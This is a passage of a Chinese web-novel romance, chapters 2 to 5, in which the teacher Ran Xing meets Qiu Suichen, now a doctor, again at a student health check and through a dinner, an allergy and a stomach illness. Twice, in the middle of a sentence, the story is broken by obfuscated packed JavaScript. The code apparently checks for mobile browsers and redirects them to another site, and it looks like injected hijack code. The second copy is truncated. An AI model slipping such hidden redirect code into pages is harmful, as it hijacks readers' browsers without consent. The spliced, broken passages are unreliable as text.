《你说你学完医就回我消息》 2. 人生何处不相逢 02 人生何处不相逢 六年前冉家那边不知从哪儿得到的消息,冉星是同性恋的事曝光后,亲爹与后妈硬是把冉星送进戒同所。 好在外祖母家疼爱小外孙,冉星在戒同所待不过两日便被外祖母家匆匆接走。 与冉家断绝关系后的第二年,国家通过了同性可婚提案。 冉星在A市安稳过了几年,以为自己就此平淡过完一生。 哪想天意弄人。 邱遂辰的出现,是一颗丢往平静湖面的石子,荡起圈圈涟漪。 春日的深夜,冉星梦里又出现了邱遂辰。 那是他们二十出头的年纪,青春校园生活的背景,邱遂辰刚下实训课,身披白大褂,手揣教科书,大步流星地从实训楼出来,走路带风,吹起膝边白大褂衣角。 冉星在实训楼外守株待兔,见着了人,远远朝着邱遂辰招手:“邱学长!学长!一起吃午饭吗?” 声音大到引来周遭路人围观。 邱遂辰身边的同学啊哟声此起彼伏,各个都是冉星追人之路上的助攻,一人一手推着邱遂辰后背,恨不得直接把邱遂辰打包送给冉星。 邱遂辰就这样被半推半就到冉星跟前。 他比冉星高了个头,垂眸,含笑对冉星说了句什么。 冉星笑盈盈扬起脑袋,望着邱遂辰一张一合的嘴型,世界突然安静下来,冉星听不见邱遂辰的声音。 用力要去听,画面颤抖,变得模模糊糊,最后,冉星被尖锐的手机系统铃声吵醒。 是场梦。 半遮窗帘的室外,天气灰蒙蒙。 伸手去把闹人的铃声按掉,冉星有点赌气,双腿把被子蹬开,赖了两分钟,打工人才幽幽起床。 今天有满满的七节课和晚自习,早七晚十的日子在等冉星去体验。 *** 邱遂辰忍到下班到家才悄摸摸地下载直播软件,鞋都来不及换,靠在玄关柜门上,注册账户,搜索“一颗小星星”博主,进主页,查看相关信息。 账号是六年前建的。 找到想要看到的答案了。 邱遂辰按灭手机,仰起沉甸甸的脑袋,后脑勺贴墙,天花板白得晃眼,太阳穴突突地跳。 瞬间的无力,他发现了冉星这六年藏着的秘密。 邱遂辰无奈又气愤,忍不住叹气:“骗子。” 小骗子。 什么出国,什么等他一起毕业旅行。 根本、就,一直都在A市啊。 新一天的太阳高高挂。 风和日丽。 浑然不知马甲掉光的冉星正在给自家高三学生们发体检单。 冉老师戴着小蜜蜂,一项项分析高考体检注意事项,偶尔和学生们插科打诨。 是一堂轻松的小班会。 学生们你一言我一语:“老师,我可以换组吗?” “不行,”冉星把最后一位同学的体检单发完,驳回第一排女同学的提问:“和谁一组是按照学号排序定的。” 短发女同学举手:“那王雪怕抽血需要我陪伴怎么办?” 同桌王雪拍了短发女同学后背,哭笑不得,和冉星解释:“老师,别听她瞎说。” 都是自己一手从高一带上来的学生,班级四十八位同学的性格冉星摸透透:“老师替你照顾王雪。” 王雪嘟囔:“我真不怕。” 短发女同学嬉皮笑脸:“谢谢老师呀。” “老师,那天一定要到学校集合再去医院吗?”中排有男同学举手:“我家就在医院附近,可以自己过去吗?” 冉星严肃强调纪律:“服从安排,统一行动。” 另一位同学:“老师,那天要穿校服吗?” 冉星:“要。” 还有关注课程的:“我们体检回来还要晚自习吗?” “语文课是不用,”冉星看过课表安排,“其他科要看其他老师的安排咯。” 台下的同学们:“喴。” 冉星嘴角勾着浅浅的微笑。 小班会进行得顺利又愉快。 小班会后接的是数学课。 数学老师柳思云拿着教学三角尺早早在教室后排等待,冉星再次强调体检注意事项后,才把教室让给柳思云。 柳思云朝冉星无奈笑了笑,声音很轻:“班主任不轻松啊。” 冉星不轻不重地点了下头。 这是冉星正式工作的第四年,也是冉星当班主任的第三年。 “单打独斗”了三年。 从锋芒毕露到市侩圆滑。 出社会摸爬滚打久了,冉星早忘记从前无忧无虑的生活是什么样。 *** 高考前体检是必备环节。 前几年与学校体检合作的中医院今年为迎检复评,没法接团体体检工作。 合作医院临时改成A市人民医院,老牌子三甲大医院,体检部在旧楼,空间不算大,需要学生分组排队有序进场体检。 冉星与柳思云负责高三三班的体检工作,冉星带男生这队,柳思云带女生那队。 体检这天是同往日一样的正常星期五,天朗气清,春风拂面。 人民医院承担了A市十几所高校体检工作,医院专门为高考生设立体检绿色通道。 学校租的大巴车将学生安全送到目的地,三班排在二班右侧。 女士优先原则,冉星带着自家男孩子们排在女队之后,一步一移,跟随大部队往体检中心走。 班里多多少少有些话痨子,阳光开朗大男孩,邱奕宇就是其中之一,冉星整队时,邱奕宇就趁机凑冉星身边,嬉皮笑脸:“我哥今天也在体检部帮忙。” 冉星让歪队形的邱奕宇站回队伍里,掩下眼底刹那间地怔楞,平静着,半笑道:“那你也得遵守班级纪律,排队体检。” 男孩子心思都写在脸上,就是单纯提一嘴亲哥的工作,邱奕宇解释:“老师,我没想插队。” 冉星:“你站好。” 邱奕宇哦了声,乖乖站回队里,几秒后,转头又和后排的男同学说起悄悄话,男生话题转得快,殊不知自己一句话搅乱了冉星的心情。 班主任手头文件夹里都有备用体检单,冉星拿着文件夹,慢下步伐,思绪忍不住飘往别处。 他和邱遂辰太多年没联系。 从无话不谈,到如今,他居然不知道对方毕业后在什么医院、什么科室。 甚至他们的见面,都需要通过偶遇来完成。 体检部的环境带着浓厚的历史感,地砖都是八九十年代的碎花款。 室内光线不太亮。 轮到冉星这队进体检中心时,像有某种感应在指引,冉星一回身,就与里头身披白大褂的邱医生来了个四目相对。 人生何处不相逢。 两人视线仅两秒交汇。 邱遂辰身边立着台智能体重机,手里拿着笔和白板纸。 冉星先收回目光,举起右手,板起班主任标配的严肃表情,让十几个男同学依次靠右站,根据墙上贴的要求,同学们脱鞋,依次上称,测量身高体重。 高三的学生听得懂安排,看得明规矩,不争不吵,乖乖按要求来做事,测量完数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313798|152357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据,将手里体检单交予医生录数据、签名。 三班男同学们井然有序,第一项完紧跟着往里头第二项排队。 冉星就站在原地,等着十几位男同学完成首项体检。 电子体重秤是欧姆龙牌,人站上去后自动识别身高体重,数据记录简单又轻松,有脑子都能做。 这工作对邱遂辰一高材生来说简直是炮弹打蚊子,大材小用。 但邱医生心情不错,没觉得有哪里不妥。 写写数字签签名字,再走几个神,默数旁边的人偷看了他多少眼。 然后抓住空隙,趁其不备,逮住冉星的小动作。 两人视线再次相撞。 被抓包的冉星:“……”扭开头。 邱奕宇排在队伍最后,测好身高体重,看着数据,笑得嘴都要歪到枕后。 亲哥捏着蓝黑笔,录好数字签好名字,邱奕宇嘿嘿笑:“喝牛奶还是有用的。” 邱遂辰没反驳:“长高一厘米。” 拿回体检单,冉星让邱奕宇去排下一队,自己跟着也要走,先断联的是他,心虚着呢,不知道要怎么和邱遂辰单独相处,刻意保持起距离。 邱遂辰却不想放过他,开口叫了声:“冉星。” 声音清润,字正腔圆。 熟悉的呼唤,让冉星不得不止步。 冉星回头,白净的脸上呈满疑惑,两排纤长卷翘的黑睫毛上下扑动,眨眨眼,沉着音量:“怎么?” 邱遂辰轻启唇,说话声音不大。 冉星听得清。 在人多拥挤的体检中心里,邱遂辰主动做出六年后故人重逢地邀请:“下次有空的话,要不要一起吃个饭?” 世界仿佛在这一瞬间按下了暂停键。 *** 高考体检项目每年都是固定那几项。 从最基础的身高体重,到视觉、听力、嗅觉,再到口腔、抽血化验等,再是男女外生/殖系统检查。 最后是私/密项目,仅学生进屋,关门检查,老师被挡在了检查室外头。 冉星从邱遂辰那离开后心情就没平稳过,被挡在门外,冉星毫不犹豫,扭头跑回最初的起点。 他想回头,给邱遂辰一个肯定答复。 急步走带起的风里有微润的湿意。 可当冉星小跑回原处,体重计旁边的工作人员换成了一位年轻女医生。 冉星左顾右盼,确定真没看到邱遂辰,才上前咨询:“你好,打扰了,想问下,刚才坐在这里的男医生去哪里了?” 冷玲玲闻声抬头,入眼的是位穿白色套头毛衣的漂亮男生,高高瘦瘦,一双桃花眼里带着疑惑。 快速将来人打量一圈,视线最后锁定在男生胸前的工作牌上,哦,是今天负责体检的学校老师。 冷玲玲正色:“你是说邱医生吗?” 冉星点头。 “他回病房了,”她问:“是有什么问题吗?”冷玲玲一分钟内把坏事想尽,是邱老师不靠谱完成不来这么简单的工作任务哪个环节出错了吗? 冉星抿了下唇:“没事。” 没事啊,冷玲玲表情好像很失望,没再接话。 后面其他班体检的同学排了上来,冉星不好耽误进度,退到一边。 选了个不挡道的地方,原地立几秒,非常认真地,仔细思考。 最后,冉星打开微信,把邱遂辰从黑名单里拉出来。 明明被高三忙碌课程压得喘不过气的冉老师,毫不犹豫地往空了六年的对话框里输入一串早就该说的话:“最近都有空的,可以一起吃饭。” 3. 氯雷他定 03 氯雷他定 单方面将人拉黑后再添加回来,系统是不需要经过对方的同意。 先删除的这一方“霸道又无理”。 “霸道无理”的冉老师从答应赴约后就夜不能寐。 邱遂辰约的是海滨路一家海鲜餐店。 临海的五星级餐馆,邱遂辰早到半小时,微信上给冉星报了包厢号。 冉星打的出租车绕了点路,到店后,服务员领冉星上路。 包厢在顶楼。 从电梯出来要穿过一条空中廊道,廊道四周被玻璃围护着。 左边是一望无际的碧蓝大海,右边装饰栏上架着两台在运转的泡泡机,机子吹出五颜六色的泡泡。 傍晚十分,落日西下。 透明泡泡被阳光染上七彩光芒,飘飘忽忽飞上天。 有熟悉的声音传来:“冉星。” 冉星闻声望去,一身常服的邱遂辰站在半开门的包厢门口,出来接冉星。 邱遂辰招手:“这儿。” 冉星谢过身边服务员的带领,剩下的路他自己走,三两步来到邱遂辰面前,开口就是不好意思:“抱歉,久等了。” 两人今天不约而同穿了同色系风衣,初春的天气还夹着冷意。 “是我来得早。”邱遂辰将人带进包厢。 包厢空间很大,两面落地窗临海。 短短几分钟,太阳已经等不及落下海平面。 波澜翻滚的蓝色海面上残留着些许落日余晖。 餐桌正中的玻璃花瓶里插了几朵粉色芍药,芍药花瓣是全开状态,朵朵仙艳。 两人面对面落座。 桌上有准备好的菜单。 邱遂辰记得冉星喜欢吃海鲜,特地挑的这家店,点菜时尽量往冉星的口味上靠。 冉星把菜单翻了两页,他不挑,在邱遂辰刚点的食材外又加了两样小菜。 下单后,邱遂辰先开话题:“现在还和其他人联系吗?” 冉星给的答案模棱两可:“我朋友不多。” 邱遂辰嗯了声,这个话题没继续。 窗外的海浪翻滚,隐约能听到几阵浪涛声。 菜肴陆续上桌。 邱遂辰的工作似乎很忙,光上菜的短暂功夫,就接了两个科室电话。 邱遂辰接电话的动作没有背着冉星,只是压低了些嗓音。 冉星边不着痕迹地将手边的一盘虾往邱遂辰那推,边观察讲电话的邱遂辰。 认知里的邱遂辰一直是位得体有风度的男人,举手投足带着绅士感。 单接电话这个动作都能做得优雅从容。 邱遂辰在对电话那头的同事交代白天一些医嘱的注意事项,半垂着眼眸,余光瞥见一盘白灼虾“长脚”似地、以缓慢速度往他这边移动。 冉星等他接完电话才好意思动筷。 邱遂辰把手机静了音,戴起一次性手套,给“莫名其妙”跑到他跟前的一盘虾剥壳。 冉星眼珠儿顺着邱遂辰的动作转,指骨分明的双手漂亮又养眼。 等邱遂辰把白花花的一盘虾肉重新推回到冉星跟前。 冉星放下筷子,张了张嘴:“我……” 邱遂辰抬了下眼皮:“食指的伤好了?” 冉星下意识低头看右手。 手上除了胎记,没有多余的标记。 邱遂辰说的是上次家长会时的那道小伤疤,冉星一笑:“早好了。” 邱遂辰就又去动另一盘:“螃蟹一起剥了?” 冉星吞下拒绝的话,接住邱遂辰的照顾:“谢谢。” 好吧好吧,认了,谁能拒绝年少就喜欢的暗恋对象给自己剥虾拆蟹呢。 *** 但饭后冉星谢绝了暗恋对象送自己回家的好意。 邱遂辰都把车开出来了,是辆黑色奥迪,稳稳停在冉星跟前。 冉星双手插在风衣口袋里,人站在地铁口边,拒绝摇下车窗叫他上车的邱遂辰:“我地铁直达,省钱。” 邱遂辰:“不差这点油钱。” “让你绕路多麻烦。” “你知道我住哪?”就绕路了,邱遂辰语气上带了点气笑,“万一顺路呢?” 冉星表情微动,视线落在空荡的副驾驶上。 他是很心动,能多几分钟和邱遂辰相处。 “抱歉,”理智上冉星还是拒绝了邱遂辰,双腿向后退,压下了所有的可能,“我自己走就行了,你快回去吧,这里不能长时间停车。” 拒绝的话落。 气氛安静了几秒。 车里没开灯。 路过的车辆灯光打过来,忽明忽灭。 冉星看到邱遂辰的表情陷进黑暗里,连声音都模糊开了。 邱遂辰回应的声音很轻:“到家报个平安。” 冉星干巴巴地:“好。” 冉星没骗人,酒店到小区确实有直达的地铁。 只是耗时久了点。 等冉星走出地铁站,夜色比一个小时前更浓了。 春夜寒凉,冷风扑面,冉星把领子拉高,挡住要灌进脖子里的风。 街上行人不多,周边店铺早早打烊。 冉星没急着回家,熟练绕到小区东门的大药房。 家里的过敏药吃完了,他需要重新买一盒。 谢绝坐邱遂辰的车已经让冉星肉痛,可身上逐渐多起的红疹压住了这份可惜感。 他和邱遂辰相识三年,关系由远至近,从前一起吃饭,邱遂辰总给冉星剥虾,甚至做得更多,酱料都亲手给冉星沾好,冉星只需张嘴就能吃到一份美味的鲜嫩虾肉。 但现在冉星对虾过敏了。 六年的时间,改变的东西太多。 过敏常有,冉星久病成医,不是大事,死不了人,买点抗过敏药一切都能好。 冉星推开玻璃门,店里没客人。 收银台前有个低头翻抽屉的工作人员,冉星上前,说道:“你好,要一盒氯雷他定。” 忙碌的工作人员闻声,停下手里的活。 抬头,工作人员露出了脸。 冉星表情一顿,表情复杂。 嗯,这收银员,怎么长了张一小时前刚和他道别的男人的熟悉帅气脸庞。 邱遂辰把抽屉塞回去,站起身,皱起眉:“海鲜过敏?” 冉星:“你怎么在这?” 眼神相互凝视。 “虾过敏。” “我的店。” “……” “……” 冉星抿唇,不说话了。 邱遂辰从收银台后绕出来,靠近冉星,“住这个小区?” 冉星指了下身后,“住后面二单元,”又缓下语气:“我之前都没在店里遇到你。” “店我表姐在管。”一句话,解释了为什么店存在多年而两人从未见面的原因。 冉星眸光闪了闪:“这样啊。” 邱遂辰言归正传:“哪里不舒服?” 冉星慢吞吞地在邱遂辰注视下,把藏在风衣里的双手拿出来。 红彤彤、散满疹子和抓痕的手背。 邱遂辰沉下嗓音:“翻面。” 冉星乖乖照做。 双手翻个面。 掌心还好,没疹子,但能看得出皮温明显比正常皮肤高。 邱遂辰忍着想上手触碰的动作,继续:“还有呢?” 冉星:“……” 用布满红疹的手去扯衣领子,稍扬起下巴,在暗恋对象面前露出白脖子。 脖子上的疹子是坐地铁时冒出来的。 “除了起疹子,还有哪里不舒服吗?”邱遂辰深吸了口气,让他不要去碰脖子上的红疹,“喉咙会不会痒? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“下次请客”的邀约在过后半个月里冉星并没能兑现。 过敏来得快去得也快,高三课业紧张,冉星身体好后便开始了一小段的忙碌时光。 邱遂辰也在忙,除了值班外就是到处开会,还要抽空带教学生、文献导读。 一晃春末。 一场雨后,气温回升。 办公室窗外的玉兰半数尽落。 今天是周末。 难得闲下来,邱遂辰保存好补充完整的病历,低头点开手机里的直播软件。 他是把这软件功能摸索透了,错过直播时间,还能看回放。 邱遂辰利用空闲时间在补“一颗小星星”这几年的所有视频内容。 偶尔对方更新直播,邱遂辰也会第一时间打卡。 昨天是周六,冉星播了半小时“咸蛋黄鲜肉小馄饨”的制作教程。 邱遂辰昨晚就看了开头几分钟,后背学生的论文问题打断。 现在戴上蓝牙耳机,邱遂辰从历史观看记录点的位置继续往下追。 冉星拍摄的角度基本固定,视频里只会出现料理台和冉星身前范围,过敏好后又变回白净的双手捣腾着桌上食材。 背景是单旋律的轻音乐。 昨天看得粗略,今天仔细再看,邱遂辰发现冉星背后的琉理台上摆了几朵深水培养的芍药。 芍药花瓣是刚开不久的状态,有粉有白,重重花瓣贴合在一起。 邱遂辰暂停播放,只觉心口被饱胀的酸涩感填满。 暂停的屏幕里,冉星穿了件蓝衬衫,身后芍药朵朵盛开。 芍药花身形如杯盏。 邱遂辰想起买花时花卉店里挂着对芍药的宣传牌语:“芍药是春天里的最后一盏美酒。” 他们买下了这重逢伊始的美酒。 一碰就醉。 4. 诺氟沙星 04 诺氟沙星 清明节学校放假三天。 邱遂辰也没遇上值班,难得的小长假,本想用上次的借口约冉星吃顿饭,但邱奕宇这小屁孩非要赖他这儿过假期。 高三学生来蹭住,行李箱里一半是教科书和练习册,邱遂辰搭手接过来时差点没推动,气笑地把行李丢还给邱奕宇,冷笑:“就不信你这三天都在复习。” 还没正式进入夏天,早间空气清凉,邱奕宇穿着薄校服外套,吭哧吭哧把行李箱推客房里去,再回他哥的话:“冉老师说了,认真完成假期作业,就能得到神秘礼物奖励。” 邱遂辰拿了新的四件套出来,让邱奕宇自己铺,闻言眉峰一挑:“还有神秘礼物啊。” 邱奕宇把床单抖开,可自豪:“我们冉老师超好的。” 邱奕宇在最近一次的模拟考中语文成绩进步不少,除了上次多加的课外辅导,冉星又单独给偏科的学生定制学习方案。 邱奕宇撅着屁股在那套被套,套好这角翘那角,小屁孩手忙脚乱。 邱遂辰双手抱在胸前,站在门口,没打算上前帮忙,思绪往其他地方偏:“你老师那么多时间啊?下班不回家陪孩子?” 邱奕宇把头和棉胎一起伸进被子里,声音闷闷地:“冉老师还没结婚呢。” 邱遂辰没接话。 “也没对象,”小屁孩浑然不知又被亲哥套了话,边干活还边八卦:“一个人上班一个人下班,吃饭都不和其他老师走一块儿。” 邱遂辰笑了下:“你还关注这些?” “当然,冉老师是所有老师中最好看的,我们都很喜欢他,”邱小朋友终于把不听话的被子套好,从床上坐起来,带着无奈的语气:“不过就是有点凶。” 邱遂辰冷不伶仃:“你考年级第一他肯定不凶你。” 邱奕宇从床上下来,摆摆手,挥掉老哥“望弟成龙”的想法:“那还是对我凶点吧。” 邱遂辰弹了下他脑门:“出息。” 三天假期是被邱奕宇的到来打碎了。 不过真要约冉星的话,冉星也没办法答应。 冉星的三天假计划满满,第一天赶飞机回外婆家,清明节当天进山给母亲扫墓,第三天回A市,收拾行李、备课,第四天准时到学校上班打卡。 清明节当天冉星的朋友圈动态发了张白玫瑰照片,定位是H市的沧远墓地。 邱遂辰是半夜才刷到冉星的动态,彼时卧室里只亮着阅读灯,光线昏黄,邱遂辰打开地图搜索沧远墓地的位置。 几年前冉家内部大换血,次子夺权,私生子风波,一桩桩无疑不是A市热点、头条新闻。 邱遂辰打听过冉星的情况,得到的消息永远只有那么轻飘飘几句:“他出国了。”“他换掉了所有的联系方式。”“你别找了,人家根本不想和咱们再有联系。”“人家小少爷指不定在国外哪个温柔乡快活呢。” 这样的话听多了,渐渐地,邱遂辰也接受了冉星撩完就跑,没心没肺彻底离开他的事实。 他按着原定计划继续往前走,离开A市,去往更远的城市,上更好的医学院校,本硕博连读,日子斗转星移,生活轨迹自此分道扬镳。 如非再遇见。 邱遂辰直起身,挡住阅读灯。 面上神情隐进黑暗里,看不真切。 在他所知道的信息里,冉星没有H市的亲戚。 指腹停在地图显示出来的位置上,放大又缩小,最后演变成一声短促的苦笑。 他好像从来没有真正了解过冉星。 不管是从前,还是现在。 *** 节假日后第一天的班总是最难上,邱遂辰一上午除了查房就是在不断收治新入院患者,病历是一个字没敲,光开医嘱的速度都比不上新病人入院速度。 好不容易得空到休息室打瓶温开水,就看到一和他关系不错的护士在涂护手霜。 邱遂辰对护肤品的牌子了解不多,进屋只闻着护手霜味道不错,他上前问了句:“什么牌子的?” “欧舒丹的,”女护士抬眼看了下邱遂辰,“马鞭草味,”晃了晃手上刚涂的部位,给邱遂辰展示:“还不错,不油腻,一推就开了。” 说着要给邱遂辰挤一点试用,邱遂辰淡笑着拒绝,谢过她的好意。 等女护士离开后,邱遂辰拿手机,当场网购了几支同款护手霜。 快递发货后三天才能收到,邱遂辰准备下次和冉星吃饭时把东西送出去。 邱遂辰的母亲尤女士也是人民教师,老师的手常年吃粉笔灰,尤女士一年四季离不开护手霜的保护,举一反三,邱遂辰想,冉星肯定也需要护手霜。 他是做好万全准备,只等冉星的一场邀约。 奈何“郎有情妾无意”。 冉星这会儿没找着时间约暗恋对象吃饭,倒是有精力和苏英里在外头闲逛。 准确的说是苏英里邀的约。 冉星朋友不多,苏英里的饭局冉星没拒绝。 约的是周五晚上,地址是苏英里选的,市中心大商城里的一家网红印度菜。 排队等餐的人还挺多,他们到时稍等了会儿才有空座位。 店口外贴着各种印式风格的海报。 店内光线昏暗,客满为患,两人跟在店员身后,七拐八绕,才找到空出来的角落桌位。 上一桌的人刚离场,桌面才清理完,冉星坐下后手肘擦过桌沿,还能感觉到水渍留下的湿意。 苏英里在冉星对面落座,他今天是来打卡的,一坐下就拿手机对着桌上的火红鲜花拍了几张图,嘴里念叨:“这个光不错,打在花上,好有氛围感。” 冉星抽了张纸,不动声色蹭掉手肘上的痕迹,半笑着应声道:“是不错。” 冉星好歹有点艺术细胞,这家店除开人多拥挤的槽点外,室内装修氛围感拿捏得当。 能成为一家不错的网红店,多多少少有些优点。 老板将光线调至昏黄状态,室内空间忽明忽暗,每张桌子中间都摆着一束红玫瑰,桌椅采用的是棕木色,墙上挂着抽象油画,有的墙面上贴着彩色墙砖做点缀。 四周的顾客三个里至少有两个在拿手机自拍、拍照,网红店常规打卡画面。 冉星将四周打量了个遍。 苏英里拍完玫瑰,才招呼冉星点餐。 点餐二/维/码在桌角,冉星拿手机扫开。 印度菜他还是第一次吃,点开页面后上下滑动,看了一圈,最后把决定权交给苏英里。 苏英里对印度菜也是一知半解,随手点了几样店内人气招牌菜,苏英里对菜色的要求只需要好看、能拍出片就行,好不好吃无所谓。 冉星就不太一样,他的味蕾对食物的要求还是挺高的。 所以等点的菜陆续上来时,冉星眉头就开始小幅度皱起来,看着面前咖喱、蒜蓉、芝士、土豆混合在一起的食物。 苏英里对着食物开始凹造型,冉星不是很能理解。 苏英里边拍边找话题聊:“我过段时间有场话剧在咱们这儿话剧院演出,到时候一定要来捧场啊。” 冉星笑笑:“肯定的。” 苏英里嗯了声,低头捣鼓手机,似乎是在把刚才拍好的照片分享手机另一端的其他朋友。 冉星没话说,动勺子,尝试面前这些看着不算很美好的食物。 除开上学时的那几年时光,他们的共同话题并不多,苏英里把原图一箩筐发给助理修图后,放下手机,动起餐叉,语气像不经意似地问:“你前几天回H市了?” 冉星小抿着嘴,把其实味道也不算很美好的食物咽下去,点头:“嗯。” 苏英里:“外婆身体还好吗?” 提到亲人,冉星眼里染上不少笑意:“还能下地种菜呢,”说到这儿,冉星顺嘴提一句:“我带了一些外婆种的地瓜回来,白心的红心的都有,你要不要?等下绕我那儿去,给你……” 苏英里想也不想地回绝:“不用。” 话被打断,冉星顿了下。 苏英里轻咳一声,反应过来自己语气过于僵硬,连忙改口,换话题:“就是我最近在排练话剧嘛……” 冉星望着苏英里,表情一瞬不瞬。 苏英里声音越来越低:“就是,地瓜吃多了发胖,而且……还会一直放屁。” 餐厅里人多,嘈杂声此起彼伏。 冉星耳朵灵,还是在这吵闹的环境里听清苏英里后半段话,“这样啊,”他眨了眨眼,“你们当演员的确实身材管控严格,”客气话还是要说的:“下次有不产气不发胖的我再带给你。” “不用老想着我,”苏英里讪笑,“咱俩偶尔出来吃吃饭,聊聊天就很好了。” 冉星:“嗯。”他其实想说也没老想着你。 服务员又上了盘烤鸡和印度飞饼,两人吃的都不多,一顿饭后,苏英里接了通助理的电话,脸色沉了几分。 从商城出来,苏英里对冉星说:“抱歉啊,本来想送你回去的。” “没事,”冉星也没指望这位日理万机的朋友抽空送他,他指了地铁口方向:“就几站地铁。” “那到家和我说一声。” 冉星比了个ok手势。 等苏英里的保姆车来了,冉星看着苏英里上车后,才在路边随手招了辆出租车,手捂着隐隐犯痛的胃,猫腰钻进出租车。 冉星肠胃敏感,那半碗不到的咖喱饭就要 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苏英里的朋友圈精致得像经过百道加工程序一样,定位是A市,文案是“和许久未见的好朋友碰个面”,九宫格图片里六张自拍照、三张食物照。 菜色被美颜过,但浓浓的绿色酱汁和蒜蓉咖喱味似能穿透屏幕,较人无法对食物做出美好评价。 邱遂辰愣是从六张大头贴自拍的旮旯角落里找到不慎入境的对桌“好朋友”的半张模糊手影。 模糊到已经过了几层皮的程度。 但邱遂辰就是一眼认出,那是冉星的手。 鬼使神差,邱遂辰想赌一把。 会不会在这儿逮到一位身体不适来求药的小学弟呢。 小学弟停在大门口,想着是现在溜走还是装不认识。 邱遂辰先开了口:“这次是哪里不舒服?” 好吧,捂这么严实居然一眼就被认出来啊。 冉星清了清嗓子,拖着虚弱的步伐往前走,手还搭在胃的位子上,“一盒诺氟沙星,”隔着口罩发音都弱了不少,“还有蒙脱石散,”想了想,补充道:“补液盐也来几包吧。” 邱遂辰皮笑肉不笑:“懂得挺多。” 冉星有气无力嘿了声:“就差考证了。” 邱遂辰不答话,沉着脸给冉星找药,而后,依旧没收冉星的钱,甚至还把店关了,要送冉星回家。 冉星还没付款呢就被推出店门,垂眼看着二十四小时营业的牌子:“不用你送我啦,你关店这样不太好吧?” 邱遂辰把卷帘门哗啦一下拽下来,锁好,回头瞥了冉星一眼,“又不差这点钱。” 冉星:“……”哦。有钱任性啊。 肠胃绞痛是间歇性的。 冉星在下一轮绞痛过后,被邱遂辰搀扶回了家。 冉星哭着也不会想到自己人生第一次与暗恋对象近距离接触是在这么狼狈的场景下。 夜黑风高。 两人都披着薄外套,冉星痛得直不起腰,邱遂辰有力的大手一只支在冉星腋下,一只搭在冉星后腰上。 明明是暧昧至极的姿态。 但疼痛给冉星带来的体验感不是很好。 邱遂辰在冉星第三次拒绝上医院后,按着冉星报的家门地址,七拐八绕,把冉星安全送进家门。 这间公寓不大,五十多平,是冉星工作后外婆送的开工礼物。 只是下楼买个药,冉星出门前没关点灯。 暖灯将内屋烘托得暖洋洋。 屋子面子不大,邱遂辰一下就把房间打量个透。 小小的房子被冉星布置得温馨整洁。 “不许乱看其他东西,”冉星让邱遂辰自己从鞋柜里找拖鞋,然后指着客厅沙发:“你只能坐在那里。” 邱遂辰换了拖鞋,虚扶着脚步还踉跄的冉星到沙发上,反问他:“家里藏金子了?” 冉星整个人跌进柔软沙发,找了舒服的姿势窝起来,身体是动都不想动了,嘴皮子还是可以动两下:“金价最近跌了。” 邱遂辰轻笑了声,问冉星温开水在哪里。 冉星:“厨房,”停顿几秒,补充:“用那个白色印猫咪的杯子给我装水。” 邱遂辰嗯了声,提着药袋子进厨房给冉患者备药。 厨房在小岛台后头,与客厅有个拐角的视野差。 邱遂辰走进空间不大的厨房里。 只一眼,邱遂辰就认出这是冉星拍摄美食直播的固定地点。 琉璃台上的芍药已经不见了。 现在占领花瓶的是一束橙红色的多头玫瑰。 5. 护手霜 05 护手霜 邱遂辰对花了解不多,但这束橙色芭比较为常见,花苞多又密,小巧可爱,全部绽放时生机勃勃,充满活力,与花主人学生时期的开朗性格相近。 花色与厨房暖色装修相呼应。 邱遂辰在花束前沉默了几秒,脑海里在不断搜索从前的记忆。 邱遂辰不知道这些年冉星经历了什么,把一个好好的人变得如此小心翼翼、客客气气。 总归不是什么美好经历。 按照冉星的要求,邱遂辰找到白色印猫咪图案的马克杯,从保温壶里倒了温开水出来,泡了药,掰了颗粒,送到冉星面前。 冉星又去趟洗手间,脸色不算太好,苍白无力。 在邱遂辰的帮助下吃完药,冉星不好意思耽搁邱遂辰的时间,他让邱遂辰回去:“太晚了,你快回去吧。” 邱遂辰看了眼时间,再看还窝在沙发上的人,道:“你去床上躺着。” 冉星:“那你早点回去。” 邱遂辰:“你先去床上。” 冉星哦了声,小幅度挪动身体。 小公寓设计的是简单的一室一厅,但不是传统意义上的一室一厅。 单身汉独居,卧室在装修时冉星没安门,仅用一镂空的装饰墙面做隔断,靠阳台的是卧室,近厨房的是客厅。 装饰墙上挂满了小饰品,多是各地风景明信片和毛绒小玩具。 邱遂辰没跟人进卧室,只站在隔断墙前,透过装饰品,看冉星缓步进屋,拖鞋,把身体摔进毛绒绒的被子里。 卧室里没开灯。 邱遂辰去把客厅的大灯关了,仅留了几盏壁灯。 *** 冉星是被渴醒的。 迷迷糊糊不知道怎么趴着就睡着,醒来也迷迷糊糊,睡眼惺忪,没穿拖鞋就往客厅走,一边奇怪客厅的灯怎么没关,一边想着水壶里还有没有温开水。 然后瞌睡虫就被躺在沙发上小歇的邱遂辰的身影吓跑。 冉星下意识轻呼。 思绪回笼。 怔楞在原地,冉星脑子里把睡前所有的故事全想起来了。 邱遂辰睡眠浅,在冉星啪嗒着小碎步下床时就醒了,徐徐睁开眼,黑眸凝至冉星身上。 四目相对。 客厅仅留了两盏壁灯,窗帘半拉着,昏弱的光线一半落在冉星睡得七拐八翘的头发上,一半散进邱遂辰深不见底的眸色里。 两人都把呼吸放慢了下来。 空气中的味道都变成了暖色调。 屋里暖和,邱遂辰脱了外套,白色的套头卫衣搭宽松运动裤,歪着身子半倒在不大的沙发里,抬着下巴看冉星时,冉星喉结上下滚了一圈,找到自己的声音:“你没走啊?” 邱遂辰坐直起身,把压皱的衣角往下拉了些,反问冉星:“饿了吗?” 冉星感受了下胃部情况:“有点儿。” 邱遂辰离开沙发,站起来:“想吃什么?” 冉星看墙上凌晨四点的时钟,思维短路:“这个点没有外卖。” 